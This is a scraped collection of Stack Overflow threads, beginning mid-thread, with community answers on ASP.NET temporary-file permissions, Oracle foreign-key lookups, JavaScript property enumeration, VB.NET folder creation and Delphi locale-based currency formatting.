ASP.NET files\"</li>\n<li>Security tab</li>\n<li>Select \"Users(xxxxxx\\Users) from Group</li>\n<li>check \"Write\"</li>\n<li>OK</li>\n</ol>\n" }, { "answer_id": 20240201, "author": "emp", "author_id": 790635, "author_profile": "https://Stackoverflow.com/users/790635", "pm_score": 0, "selected": false, "text": "<p>I had this problem when trying to build a Web Deployment Project (*.wdploy).\nSimply creating the folder on the framework path solved the error.</p>\n" }, { "answer_id": 65684226, "author": "user1585204", "author_id": 1585204, "author_profile": "https://Stackoverflow.com/users/1585204", "pm_score": 0, "selected": false, "text": "<p>Just because the most recent answer is 5 years old, what had to be done in our environment was to delete the app, app pool and recreate them.</p>\n<p>We evidently have some security under the hood with recent changes to it.</p>\n<p>Doing this re-created a folder in Temporary ASP Net Files with all the correct permissions. Why the one site I happened to just get from source control, rebuild, etc. failed this way, no idea. 2 others recently set up where Get Latest Version was downloaded, rebuilt, etc. they just worked.</p>\n<p>But ripping out the app, app pool and just recreating them with the same IIS permissions as the 2 other known working sites recreated all the needed objects and now it all works.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/85941", "https://Stackoverflow.com", "https://Stackoverflow.com/users/417/" ]
I get the following error when running my Visual Studio 2008 ASP.NET project (start without Debugging) on my XP Professional box: ``` System.Web.HttpException: The current identity (machinename\ASPNET) does not have write access to 'C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\Temporary ASP.NET Files'. ``` How can I resolve this?
Have you tried, the aspnet\_regiis exe in the framework folder?
85,978
<p>For a given table 'foo', I need a query to generate a set of tables that have foreign keys that point to foo. I'm using Oracle 10G.</p>
[ { "answer_id": 86104, "author": "Mike Monette", "author_id": 6166, "author_profile": "https://Stackoverflow.com/users/6166", "pm_score": 7, "selected": true, "text": "<p>This should work (or something close):</p>\n\n<pre><code>select table_name\nfrom all_constraints\nwhere constraint_type='R'\nand r_constraint_name in \n (select constraint_name\n from all_constraints\n where constraint_type in ('P','U')\n and table_name='&lt;your table here&gt;'); \n</code></pre>\n" }, { "answer_id": 86128, "author": "Ethan Post", "author_id": 4527, "author_profile": "https://Stackoverflow.com/users/4527", "pm_score": 0, "selected": false, "text": "<p>Download the Oracle Reference Guide for 10G which explains the data dictionary tables.</p>\n\n<p>The answers above are good but check out the other tables which may relate to constraints.</p>\n\n<pre><code>SELECT * FROM DICT WHERE TABLE_NAME LIKE '%CONS%';\n</code></pre>\n\n<p>Finally, get a tool like Toad or SQL Developer which allows you to browse this stuff in a UI, you need to learn to use the tables but you should use a UI also.</p>\n" }, { "answer_id": 86632, "author": "Tony R", "author_id": 12838, "author_profile": "https://Stackoverflow.com/users/12838", "pm_score": 1, "selected": false, "text": "<p>link to <a href=\"http://www.oracle.com/pls/db102/homepage\" rel=\"nofollow noreferrer\">Oracle Database Online Documentation</a></p>\n\n<p>You may want to explore the <a href=\"http://download.oracle.com/docs/cd/B19306_01/server.102/b14220/datadict.htm#sthref1164\" rel=\"nofollow noreferrer\">Data Dictionary views</a>. They have the prefixes:</p>\n\n<ul>\n<li>User</li>\n<li>All</li>\n<li>DBA</li>\n</ul>\n\n<p>sample:</p>\n\n<pre><code>select * from dictionary where table_name like 'ALL%' \n</code></pre>\n\n<hr>\n\n<p>Continuing Mike's example, you may want to generate scripts to enable/disable the constraints. I only modified the 'select' in the first row.</p>\n\n<pre><code>select 'alter table ' || TABLE_NAME || ' disable constraint ' || CONSTRAINT_NAME || ';'\nfrom all_constraints\nwhere constraint_type='R'\nand r_constraint_name in \n (select constraint_name\n from all_constraints\n where constraint_type in ('P','U')\n and table_name='&lt;your table here&gt;');\n</code></pre>\n" }, { "answer_id": 91402, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 3, "selected": false, "text": "<p>The following statement should give the children and all of their descendents. I have tested it on an Oracle 10 database.</p>\n\n<pre><code>SELECT level, main.table_name parent,\n link.table_name child\nFROM user_constraints main, user_constraints link \nWHERE main.constraint_type IN ('P', 'U')\nAND link.r_constraint_name = main.constraint_name\nSTART WITH main.table_name LIKE UPPER('&amp;&amp;table_name')\nCONNECT BY main.table_name = PRIOR link.table_name\nORDER BY level, main.table_name, link.table_name\n</code></pre>\n" }, { "answer_id": 23915533, "author": "matt1616", "author_id": 2371207, "author_profile": "https://Stackoverflow.com/users/2371207", "pm_score": 2, "selected": false, "text": "<p>Here's how to take Mike's query one step further to get the <strong>column names</strong> from the constraint names:</p>\n\n<pre><code>select * from user_cons_columns\nwhere constraint_name in (\n select constraint_name \n from all_constraints\n where constraint_type='R'\n and r_constraint_name in \n (select constraint_name\n from all_constraints\n where constraint_type in ('P','U')\n and table_name='&lt;your table name here&gt;'));\n</code></pre>\n" }, { "answer_id": 27227899, "author": "Abu Turab", "author_id": 4311521, "author_profile": "https://Stackoverflow.com/users/4311521", "pm_score": 0, "selected": false, "text": "<pre><code>select distinct table_name, constraint_name, column_name, r_table_name, position, constraint_type \nfrom (\n SELECT uc.table_name, \n uc.constraint_name, \n cols.column_name, \n (select table_name from user_constraints where constraint_name = uc.r_constraint_name) \n r_table_name,\n (select column_name from user_cons_columns where constraint_name = uc.r_constraint_name and position = cols.position) \n r_column_name,\n cols.position,\n uc.constraint_type\n FROM user_constraints uc\n inner join user_cons_columns cols on uc.constraint_name = cols.constraint_name \n where constraint_type != 'C'\n) \nstart with table_name = '&amp;&amp;tableName' and column_name = '&amp;&amp;columnName' \nconnect by nocycle \nprior table_name = r_table_name \nand prior column_name = r_column_name; \n</code></pre>\n" }, { "answer_id": 34919354, "author": "arvinq", "author_id": 2667361, "author_profile": "https://Stackoverflow.com/users/2667361", "pm_score": 1, "selected": false, "text": "<p>I know it's kinda late to answer but let me answer anyway. Some of the answers above are quite complicated hence here is a much simpler take.</p>\n<pre><code>SELECT a.table_name child_table, a.column_name child_column, a.constraint_name, \nb.table_name parent_table, b.column_name parent_column\nFROM all_cons_columns a\nJOIN all_constraints c ON a.owner = c.owner AND a.constraint_name = c.constraint_name\njoin all_cons_columns b on c.owner = b.owner and c.r_constraint_name = b.constraint_name\nWHERE c.constraint_type = 'R'\nAND a.table_name = 'your table name'\n</code></pre>\n" }, { "answer_id": 57193278, "author": "Hiram", "author_id": 4219715, "author_profile": "https://Stackoverflow.com/users/4219715", "pm_score": 0, "selected": false, "text": "<pre><code>select acc.table_name, acc.constraint_name \nfrom all_cons_columns acc\ninner join all_constraints ac\n on acc.constraint_name = ac.constraint_name\nwhere ac.r_constraint_name in (\n select constraint_name\n from all_constraints\n where table_name='yourTable'\n );\n</code></pre>\n" }, { "answer_id": 59678215, "author": "Mehmet Kurt", "author_id": 4924051, "author_profile": "https://Stackoverflow.com/users/4924051", "pm_score": 0, "selected": false, "text": "<p>All constraints for one table </p>\n\n<pre><code>select \n\n uc.OWNER,\n uc.constraint_name as TableConstraint1,\n uc.r_constraint_name as TableConstraint2,\n uc.constraint_type as constrainttype1,\n us.constraint_type as constrainttype2,\n uc.table_name as Table1,us.table_name as Table2,\n ucc.column_name as TableColumn1, \n uccs.column_name as TableColumn2\nfrom user_constraints uc\n left outer join user_constraints us on uc.r_constraint_name = us.constraint_name\n left outer join USER_CONS_COLUMNS ucc on ucc.constraint_name = uc.constraint_name\n left outer join USER_CONS_COLUMNS uccs on uccs.constraint_name = us.constraint_name\nwhere uc.OWNER ='xxxx' and uc.table_name='xxxx' \n</code></pre>\n" }, { "answer_id": 66745159, "author": "Gh61", "author_id": 1341409, "author_profile": "https://Stackoverflow.com/users/1341409", "pm_score": 0, "selected": false, "text": "<p>Adding my two cents here.</p>\n<p>This query will return all foreign keys with child and parent columns, matched perfectly even when there is foreign key over multiple columns:</p>\n<pre><code>SELECT a.table_name child_table, a.column_name child_column, a.constraint_name, \nb.table_name parent_table, b.column_name parent_column\nFROM all_cons_columns a\nJOIN all_constraints c ON a.owner = c.owner AND a.constraint_name = c.constraint_name\nJOIN all_cons_columns b ON c.owner = b.owner AND c.r_constraint_name = b.constraint_name AND b.position = a.position\nWHERE c.constraint_type = 'R'\n</code></pre>\n<p><em>(inspired by @arvinq aswer)</em></p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/85978", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9940/" ]
For a given table 'foo', I need a query to generate a set of tables that have foreign keys that point to foo. I'm using Oracle 10G.
This should work (or something close): ``` select table_name from all_constraints where constraint_type='R' and r_constraint_name in (select constraint_name from all_constraints where constraint_type in ('P','U') and table_name='<your table here>'); ```
85,992
<p>How do I enumerate the properties of a JavaScript object?</p> <p>I actually want to list all the defined variables and their values, but I've learned that defining a variable actually creates a property of the window object.</p>
[ { "answer_id": 86014, "author": "Jason Bunting", "author_id": 1790, "author_profile": "https://Stackoverflow.com/users/1790", "pm_score": 11, "selected": true, "text": "<p>Simple enough:</p>\n\n<pre><code>for(var propertyName in myObject) {\n // propertyName is what you want\n // you can get the value like this: myObject[propertyName]\n}\n</code></pre>\n\n<p>Now, you will not get private variables this way because they are not available.</p>\n\n<hr>\n\n<p>EDIT: <a href=\"https://stackoverflow.com/questions/85992/how-do-i-enumerate-the-properties-of-a-javascript-object#86306\">@bitwiseplatypus</a> is correct that unless you use the <code>hasOwnProperty()</code> method, you will get properties that are inherited - however, I don't know why anyone familiar with object-oriented programming would expect anything less! Typically, someone that brings this up has been subjected to Douglas Crockford's warnings about this, which still confuse me a bit. Again, inheritance is a normal part of OO languages and is therefore part of JavaScript, notwithstanding it being prototypical.</p>\n\n<p>Now, that said, <code>hasOwnProperty()</code> <em>is</em> useful for filtering, but we don't need to sound a warning as if there is something dangerous in getting inherited properties.</p>\n\n<p>EDIT 2: <a href=\"https://stackoverflow.com/questions/85992/how-do-i-enumerate-the-properties-of-a-javascript-object#86306\">@bitwiseplatypus</a> brings up the situation that would occur should someone add properties/methods to your objects at a point in time later than when you originally wrote your objects (via its prototype) - while it is true that this might cause unexpected behavior, I personally don't see that as my problem entirely. Just a matter of opinion. Besides, what if I design things in such a way that I use prototypes during the construction of my objects and yet have code that iterates over the properties of the object and I want all inherited properties? I wouldn't use <code>hasOwnProperty()</code>. Then, let's say, someone adds new properties later. Is that my fault if things behave badly at that point? I don't think so. I think this is why jQuery, as an example, has specified ways of extending how it works (via <code>jQuery.extend</code> and <code>jQuery.fn.extend</code>).</p>\n" }, { "answer_id": 86020, "author": "davenpcj", "author_id": 4777, "author_profile": "https://Stackoverflow.com/users/4777", "pm_score": 3, "selected": false, "text": "<p>I found it... <code>for (property in object) { // do stuff }</code> will list all the properties, and therefore all the globally declared variables on the window object..</p>\n" }, { "answer_id": 86306, "author": "Ryan Grove", "author_id": 14985, "author_profile": "https://Stackoverflow.com/users/14985", "pm_score": 8, "selected": false, "text": "<p>Use a <code>for..in</code> loop to enumerate an object's properties, but be careful. The enumeration will return properties not just of the object being enumerated, but also from the prototypes of any parent objects.</p>\n\n<pre><code>var myObject = {foo: 'bar'};\n\nfor (var name in myObject) {\n alert(name);\n}\n\n// results in a single alert of 'foo'\n\nObject.prototype.baz = 'quux';\n\nfor (var name in myObject) {\n alert(name);\n}\n\n// results in two alerts, one for 'foo' and one for 'baz'\n</code></pre>\n\n<p>To avoid including inherited properties in your enumeration, check <code>hasOwnProperty()</code>:</p>\n\n<pre><code>for (var name in myObject) {\n if (myObject.hasOwnProperty(name)) {\n alert(name);\n }\n}\n</code></pre>\n\n<p><strong>Edit:</strong> I disagree with JasonBunting's statement that we don't need to worry about enumerating inherited properties. There <em>is</em> danger in enumerating over inherited properties that you aren't expecting, because it can change the behavior of your code.</p>\n\n<p>It doesn't matter whether this problem exists in other languages; the fact is it exists, and JavaScript is particularly vulnerable since modifications to an object's prototype affects child objects even if the modification takes place after instantiation.</p>\n\n<p>This is why JavaScript provides <code>hasOwnProperty()</code>, and this is why you should use it in order to ensure that third party code (or any other code that might modify a prototype) doesn't break yours. Apart from adding a few extra bytes of code, there is no downside to using <code>hasOwnProperty()</code>.</p>\n" }, { "answer_id": 86877, "author": "Chase Seibert", "author_id": 7679, "author_profile": "https://Stackoverflow.com/users/7679", "pm_score": 2, "selected": false, "text": "<p>If you're trying to enumerate the properties in order to write new code against the object, I would recommend using a debugger like Firebug to see them visually. </p>\n\n<p>Another handy technique is to use Prototype's Object.toJSON() to serialize the object to JSON, which will show you both property names and values. </p>\n\n<pre><code>var data = {name: 'Violet', occupation: 'character', age: 25, pets: ['frog', 'rabbit']};\nObject.toJSON(data);\n//-&gt; '{\"name\": \"Violet\", \"occupation\": \"character\", \"age\": 25, \"pets\": [\"frog\",\"rabbit\"]}'\n</code></pre>\n\n<p><a href=\"http://www.prototypejs.org/api/object/tojson\" rel=\"nofollow noreferrer\">http://www.prototypejs.org/api/object/tojson</a></p>\n" }, { "answer_id": 88482, "author": "Andrew Hedges", "author_id": 11577, "author_profile": "https://Stackoverflow.com/users/11577", "pm_score": 4, "selected": false, "text": "<pre><code>for (prop in obj) {\n alert(prop + ' = ' + obj[prop]);\n}\n</code></pre>\n" }, { "answer_id": 731883, "author": "cyberhobo", "author_id": 68638, "author_profile": "https://Stackoverflow.com/users/68638", "pm_score": 5, "selected": false, "text": "<p>I think an example of the case that has caught me by surprise is relevant:</p>\n\n<pre><code>var myObject = { name: \"Cody\", status: \"Surprised\" };\nfor (var propertyName in myObject) {\n document.writeln( propertyName + \" : \" + myObject[propertyName] );\n}\n</code></pre>\n\n<p>But to my surprise, the output is</p>\n\n<pre><code>name : Cody\nstatus : Surprised\nforEach : function (obj, callback) {\n for (prop in obj) {\n if (obj.hasOwnProperty(prop) &amp;&amp; typeof obj[prop] !== \"function\") {\n callback(prop);\n }\n }\n}\n</code></pre>\n\n<p>Why? Another script on the page has extended the Object prototype:</p>\n\n<pre><code>Object.prototype.forEach = function (obj, callback) {\n for ( prop in obj ) {\n if ( obj.hasOwnProperty( prop ) &amp;&amp; typeof obj[prop] !== \"function\" ) {\n callback( prop );\n }\n }\n};\n</code></pre>\n" }, { "answer_id": 2096099, "author": "Fabian Jakobs", "author_id": 129322, "author_profile": "https://Stackoverflow.com/users/129322", "pm_score": 6, "selected": false, "text": "<p>The standard way, which has already been proposed several times is:</p>\n\n<pre><code>for (var name in myObject) {\n alert(name);\n}\n</code></pre>\n\n<p>However Internet Explorer 6, 7 and 8 have a bug in the JavaScript interpreter, which has the effect that some keys are not enumerated. If you run this code:</p>\n\n<pre><code>var obj = { toString: 12};\nfor (var name in obj) {\n alert(name);\n}\n</code></pre>\n\n<p>If will alert \"12\" in all browsers except IE. IE will simply ignore this key. The affected key values are:</p>\n\n<ul>\n<li><code>isPrototypeOf</code></li>\n<li><code>hasOwnProperty</code></li>\n<li><code>toLocaleString</code></li>\n<li><code>toString</code></li>\n<li><code>valueOf</code></li>\n</ul>\n\n<p>To be really safe in IE you have to use something like:</p>\n\n<pre><code>for (var key in myObject) {\n alert(key);\n}\n\nvar shadowedKeys = [\n \"isPrototypeOf\",\n \"hasOwnProperty\",\n \"toLocaleString\",\n \"toString\",\n \"valueOf\"\n];\nfor (var i=0, a=shadowedKeys, l=a.length; i&lt;l; i++) {\n if map.hasOwnProperty(a[i])) {\n alert(a[i]);\n }\n}\n</code></pre>\n\n<p>The good news is that EcmaScript 5 defines the <code>Object.keys(myObject)</code> function, which returns the keys of an object as array and some browsers (e.g. Safari 4) already implement it.</p>\n" }, { "answer_id": 11330279, "author": "EmRa228", "author_id": 1322034, "author_profile": "https://Stackoverflow.com/users/1322034", "pm_score": 4, "selected": false, "text": "<p>Simple JavaScript code:</p>\n\n<pre><code>for(var propertyName in myObject) {\n // propertyName is what you want.\n // You can get the value like this: myObject[propertyName]\n}\n</code></pre>\n\n<p>jQuery:</p>\n\n<pre><code>jQuery.each(obj, function(key, value) {\n // key is what you want.\n // The value is in: value\n});\n</code></pre>\n" }, { "answer_id": 16120782, "author": "dkl", "author_id": 243263, "author_profile": "https://Stackoverflow.com/users/243263", "pm_score": 3, "selected": false, "text": "<p>If you are using the <a href=\"https://en.wikipedia.org/wiki/Underscore.js\" rel=\"nofollow\">Underscore.js</a> library, you can use function <a href=\"http://underscorejs.org/#keys\" rel=\"nofollow\" title=\"keys\">keys</a>:</p>\n\n<pre><code>_.keys({one : 1, two : 2, three : 3});\n=&gt; [\"one\", \"two\", \"three\"]\n</code></pre>\n" }, { "answer_id": 17591041, "author": "Chtioui Malek", "author_id": 1254684, "author_profile": "https://Stackoverflow.com/users/1254684", "pm_score": 4, "selected": false, "text": "<p>Here's how to enumerate an object's properties:</p>\n\n<pre><code>var params = { name: 'myname', age: 'myage' }\n\nfor (var key in params) {\n alert(key + \"=\" + params[key]);\n}\n</code></pre>\n" }, { "answer_id": 19835266, "author": "Carlos Ruana", "author_id": 2795615, "author_profile": "https://Stackoverflow.com/users/2795615", "pm_score": 6, "selected": false, "text": "<p>In modern browsers (ECMAScript 5) to get all enumerable properties you can do:</p>\n\n<p><a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys\" rel=\"noreferrer\">Object.keys(obj)</a>\n(Check the link to get a snippet for backward compatibility on older browsers)</p>\n\n<p>Or to get also non-enumerable properties:</p>\n\n<p><a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames\" rel=\"noreferrer\">Object.getOwnPropertyNames(obj)</a></p>\n\n<p><a href=\"http://kangax.github.io/es5-compat-table/\" rel=\"noreferrer\">Check ECMAScript 5 compatibility table</a></p>\n\n<p>Additional info:\n<a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty#Enumerable_attribute\" rel=\"noreferrer\">What is a enumerable attribute?</a></p>\n" }, { "answer_id": 19956872, "author": "Fabio Montefuscolo", "author_id": 1415639, "author_profile": "https://Stackoverflow.com/users/1415639", "pm_score": 3, "selected": false, "text": "<p>Python's dict has 'keys' method, and that is really useful. I think in JavaScript we can have something this:</p>\n\n<pre><code>function keys(){\n var k = [];\n for(var p in this) {\n if(this.hasOwnProperty(p))\n k.push(p);\n }\n return k;\n}\nObject.defineProperty(Object.prototype, \"keys\", { value : keys, enumerable:false });\n</code></pre>\n\n<p>EDIT: But the answer of @carlos-ruana works very well. I tested Object.keys(window), and the result is what I expected.</p>\n\n<p>EDIT after 5 years: it is not good idea to extend <code>Object</code>, because it can conflict with other libraries that may want to use <code>keys</code> on their objects and it will lead unpredictable behavior on your project. @carlos-ruana answer is the correct way to get keys of an object.</p>\n" }, { "answer_id": 36471341, "author": "Walle Cyril", "author_id": 3238046, "author_profile": "https://Stackoverflow.com/users/3238046", "pm_score": 3, "selected": false, "text": "<p>You can use the <code>for</code> of loop.</p>\n\n<p>If you want an array use: </p>\n\n<p><code>Object.keys(object1)</code></p>\n\n<p>Ref. <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys\" rel=\"noreferrer\">Object.keys()</a></p>\n" }, { "answer_id": 36922598, "author": "Felix Lapalme", "author_id": 2963024, "author_profile": "https://Stackoverflow.com/users/2963024", "pm_score": 1, "selected": false, "text": "<p>I'm still a beginner in JavaScript, but I wrote a small function to recursively print all the properties of an object and its children:</p>\n\n<pre><code>getDescription(object, tabs) {\n var str = \"{\\n\";\n for (var x in object) {\n str += Array(tabs + 2).join(\"\\t\") + x + \": \";\n if (typeof object[x] === 'object' &amp;&amp; object[x]) {\n str += this.getDescription(object[x], tabs + 1);\n } else {\n str += object[x];\n }\n str += \"\\n\";\n }\n str += Array(tabs + 1).join(\"\\t\") + \"}\";\n return str;\n}\n</code></pre>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/85992", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4777/" ]
How do I enumerate the properties of a JavaScript object? I actually want to list all the defined variables and their values, but I've learned that defining a variable actually creates a property of the window object.
Simple enough: ``` for(var propertyName in myObject) { // propertyName is what you want // you can get the value like this: myObject[propertyName] } ``` Now, you will not get private variables this way because they are not available. --- EDIT: [@bitwiseplatypus](https://stackoverflow.com/questions/85992/how-do-i-enumerate-the-properties-of-a-javascript-object#86306) is correct that unless you use the `hasOwnProperty()` method, you will get properties that are inherited - however, I don't know why anyone familiar with object-oriented programming would expect anything less! Typically, someone that brings this up has been subjected to Douglas Crockford's warnings about this, which still confuse me a bit. Again, inheritance is a normal part of OO languages and is therefore part of JavaScript, notwithstanding it being prototypical. Now, that said, `hasOwnProperty()` *is* useful for filtering, but we don't need to sound a warning as if there is something dangerous in getting inherited properties. EDIT 2: [@bitwiseplatypus](https://stackoverflow.com/questions/85992/how-do-i-enumerate-the-properties-of-a-javascript-object#86306) brings up the situation that would occur should someone add properties/methods to your objects at a point in time later than when you originally wrote your objects (via its prototype) - while it is true that this might cause unexpected behavior, I personally don't see that as my problem entirely. Just a matter of opinion. Besides, what if I design things in such a way that I use prototypes during the construction of my objects and yet have code that iterates over the properties of the object and I want all inherited properties? I wouldn't use `hasOwnProperty()`. Then, let's say, someone adds new properties later. Is that my fault if things behave badly at that point? I don't think so. I think this is why jQuery, as an example, has specified ways of extending how it works (via `jQuery.extend` and `jQuery.fn.extend`).
85,996
<p>I wrote myself a little downloading application so that I could easily grab a set of files from my server and put them all onto a new pc with a clean install of Windows, without actually going on the net. Unfortunately I'm having problems creating the folder I want to put them in and am unsure how to go about it.</p> <p>I want my program to download the apps to <code>program files\any name here\</code></p> <p>So basically I need a function that checks if a folder exists, and if it doesn't it creates it.</p>
[ { "answer_id": 86009, "author": "GEOCHET", "author_id": 5640, "author_profile": "https://Stackoverflow.com/users/5640", "pm_score": 3, "selected": false, "text": "<p>Try this: <code>Directory.Exists(TheFolderName)</code> and <code>Directory.CreateDirectory(TheFolderName)</code></p>\n\n<p>(You may need: <code>Imports System.IO</code>)</p>\n" }, { "answer_id": 86015, "author": "Chris Bilson", "author_id": 12934, "author_profile": "https://Stackoverflow.com/users/12934", "pm_score": 3, "selected": false, "text": "<p>VB.NET? System.IO.Directory.Exists(string path)</p>\n" }, { "answer_id": 86016, "author": "Quintin Robinson", "author_id": 12707, "author_profile": "https://Stackoverflow.com/users/12707", "pm_score": 9, "selected": true, "text": "<pre><code>If Not System.IO.Directory.Exists(YourPath) Then\n System.IO.Directory.CreateDirectory(YourPath)\nEnd If\n</code></pre>\n" }, { "answer_id": 86019, "author": "Guy Starbuck", "author_id": 2194, "author_profile": "https://Stackoverflow.com/users/2194", "pm_score": 4, "selected": false, "text": "<p>Try the <a href=\"http://msdn.microsoft.com/en-us/library/system.io.directoryinfo.aspx\" rel=\"noreferrer\">System.IO.DirectoryInfo</a> class.</p>\n\n<p>The sample from MSDN:</p>\n\n<pre><code>Imports System\nImports System.IO\n\nPublic Class Test\n Public Shared Sub Main()\n ' Specify the directories you want to manipulate.\n Dim di As DirectoryInfo = New DirectoryInfo(\"c:\\MyDir\")\n Try\n ' Determine whether the directory exists.\n If di.Exists Then\n ' Indicate that it already exists.\n Console.WriteLine(\"That path exists already.\")\n Return\n End If\n\n ' Try to create the directory.\n di.Create()\n Console.WriteLine(\"The directory was created successfully.\")\n\n ' Delete the directory.\n di.Delete()\n Console.WriteLine(\"The directory was deleted successfully.\")\n\n Catch e As Exception\n Console.WriteLine(\"The process failed: {0}\", e.ToString())\n End Try\n End Sub\nEnd Class\n</code></pre>\n" }, { "answer_id": 86028, "author": "MagicKat", "author_id": 8505, "author_profile": "https://Stackoverflow.com/users/8505", "pm_score": 5, "selected": false, "text": "<p>Under System.IO, there is a class called Directory.\nDo the following:</p>\n\n<pre><code>If Not Directory.Exists(path) Then\n Directory.CreateDirectory(path)\nEnd If\n</code></pre>\n\n<p>It will ensure that the directory is there.</p>\n" }, { "answer_id": 86035, "author": "Dave", "author_id": 13846, "author_profile": "https://Stackoverflow.com/users/13846", "pm_score": 1, "selected": false, "text": "<p>You should try using the File System Object or FSO. There are many methods belonging to this object that check if folders exist as well as creating new folders.</p>\n" }, { "answer_id": 86043, "author": "Mostlyharmless", "author_id": 12881, "author_profile": "https://Stackoverflow.com/users/12881", "pm_score": 2, "selected": false, "text": "<p>Directory.CreateDirectory() should do it.\n<a href=\"http://msdn.microsoft.com/en-us/library/system.io.directory.createdirectory(VS.71).aspx\" rel=\"nofollow noreferrer\">http://msdn.microsoft.com/en-us/library/system.io.directory.createdirectory(VS.71).aspx</a></p>\n\n<p>Also, in Vista, you probably cannot write into C: directly unless you run it as an admin, so you might just want to bypass that and create the dir you want in a sub-dir of C: (which i'd say is a good practice to be followed anyways. -- its unbelievable how many people just dump crap onto C:</p>\n\n<p>Hope that helps. </p>\n" }, { "answer_id": 86055, "author": "Wayne", "author_id": 8236, "author_profile": "https://Stackoverflow.com/users/8236", "pm_score": 2, "selected": false, "text": "<p>(imports System.IO)</p>\n\n<pre>if Not Directory.Exists(Path) then\n Directory.CreateDirectory(Path)\nend if</pre>\n" }, { "answer_id": 86212, "author": "Rick", "author_id": 163155, "author_profile": "https://Stackoverflow.com/users/163155", "pm_score": 4, "selected": false, "text": "<p>Since the question didn't specify .NET, this should work in VBScript or VB6.</p>\n<pre><code>Dim objFSO, strFolder\nstrFolder = &quot;C:\\Temp&quot;\nSet objFSO = CreateObject(&quot;Scripting.FileSystemObject&quot;)\nIf Not objFSO.FolderExists(strFolder) Then\n objFSO.CreateFolder strFolder\nEnd If\n</code></pre>\n" }, { "answer_id": 675935, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>I see how this would work, what would be the process to create a dialog box that allows the user name the folder and place it where you want to.</p>\n\n<p>Cheers</p>\n" }, { "answer_id": 1245879, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<pre><code>If Not Directory.Exists(somePath) then\n Directory.CreateDirectory(somePath)\nEnd If\n</code></pre>\n" }, { "answer_id": 19409953, "author": "BaeFell", "author_id": 1832160, "author_profile": "https://Stackoverflow.com/users/1832160", "pm_score": 0, "selected": false, "text": "<p>Just do this:</p>\n\n<pre><code> Dim sPath As String = \"Folder path here\"\n If (My.Computer.FileSystem.DirectoryExists(sPath) = False) Then\n My.Computer.FileSystem.CreateDirectory(sPath + \"/&lt;Folder name&gt;\")\n Else\n 'Something else happens, because the folder exists\n End If\n</code></pre>\n\n<p>I declared the folder path as a String (sPath) so that way if you do use it multiple times it can be changed easily but also it can be changed through the program itself.</p>\n\n<p>Hope it helps!</p>\n\n<p>-nfell2009</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/85996", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
I wrote myself a little downloading application so that I could easily grab a set of files from my server and put them all onto a new pc with a clean install of Windows, without actually going on the net. Unfortunately I'm having problems creating the folder I want to put them in and am unsure how to go about it. I want my program to download the apps to `program files\any name here\` So basically I need a function that checks if a folder exists, and if it doesn't it creates it.
``` If Not System.IO.Directory.Exists(YourPath) Then System.IO.Directory.CreateDirectory(YourPath) End If ```
86,002
<p>I need to write a Delphi application that pulls entries up from various tables in a database, and different entries will be in different currencies. Thus, I need to show a different number of decimal places and a different currency character for every Currency data type ($, Pounds, Euros, etc) depending on the currency of the item I've loaded.</p> <p>Is there a way to change the currency almost-globally, that is, for all Currency data shown in a form?</p>
[ { "answer_id": 86289, "author": "user16120", "author_id": 16120, "author_profile": "https://Stackoverflow.com/users/16120", "pm_score": 3, "selected": false, "text": "<p>I'd use SysUtils.CurrToStr(Value: Currency; var FormatSettings: TFormatSettings): string;</p>\n\n<p>I'd setup an array of TFormatSettings, each position configured to reflect each currency your application supports. You'll need to set the following fields of the TFormat Settings for each array position: CurrencyString, CurrencyFormat, NegCurrFormat, ThousandSeparator, DecimalSeparator and CurrencyDecimals.</p>\n" }, { "answer_id": 87306, "author": "Francesca", "author_id": 9842, "author_profile": "https://Stackoverflow.com/users/9842", "pm_score": 4, "selected": true, "text": "<p>Even with the same currency, you may have to display values with a different format (separators for instance), so I would recommend that you associate a LOCALE instead of the currency only with your values.<br>\nYou can use a simple Integer to hold the LCID (locale ID).<br>\nSee the list here: <a href=\"http://msdn.microsoft.com/en-us/library/0h88fahh.aspx\" rel=\"nofollow noreferrer\">http://msdn.microsoft.com/en-us/library/0h88fahh.aspx</a> </p>\n\n<p>Then to display the values, use something like:</p>\n\n<pre><code>function CurrFormatFromLCID(const AValue: Currency; const LCID: Integer = LOCALE_SYSTEM_DEFAULT): string;\nvar\n AFormatSettings: TFormatSettings;\nbegin\n GetLocaleFormatSettings(LCID, AFormatSettings);\n Result := CurrToStrF(AValue, ffCurrency, AFormatSettings.CurrencyDecimals, AFormatSettings);\nend;\n\nfunction USCurrFormat(const AValue: Currency): string;\nbegin\n Result := CurrFormatFromLCID(AValue, 1033); //1033 = US_LCID\nend;\n\nfunction FrenchCurrFormat(const AValue: Currency): string;\nbegin\n Result := CurrFormatFromLCID(AValue, 1036); //1036 = French_LCID\nend;\n\nprocedure TestIt;\nvar\n val: Currency;\nbegin\n val:=1234.56;\n ShowMessage('US: ' + USCurrFormat(val));\n ShowMessage('FR: ' + FrenchCurrFormat(val));\n ShowMessage('GB: ' + CurrFormatFromLCID(val, 2057)); // 2057 = GB_LCID\n ShowMessage('def: ' + CurrFormatFromLCID(val));\nend;\n</code></pre>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86002", "https://Stackoverflow.com", "https://Stackoverflow.com/users/42219/" ]
I need to write a Delphi application that pulls entries up from various tables in a database, and different entries will be in different currencies. Thus, I need to show a different number of decimal places and a different currency character for every Currency data type ($, Pounds, Euros, etc) depending on the currency of the item I've loaded. Is there a way to change the currency almost-globally, that is, for all Currency data shown in a form?
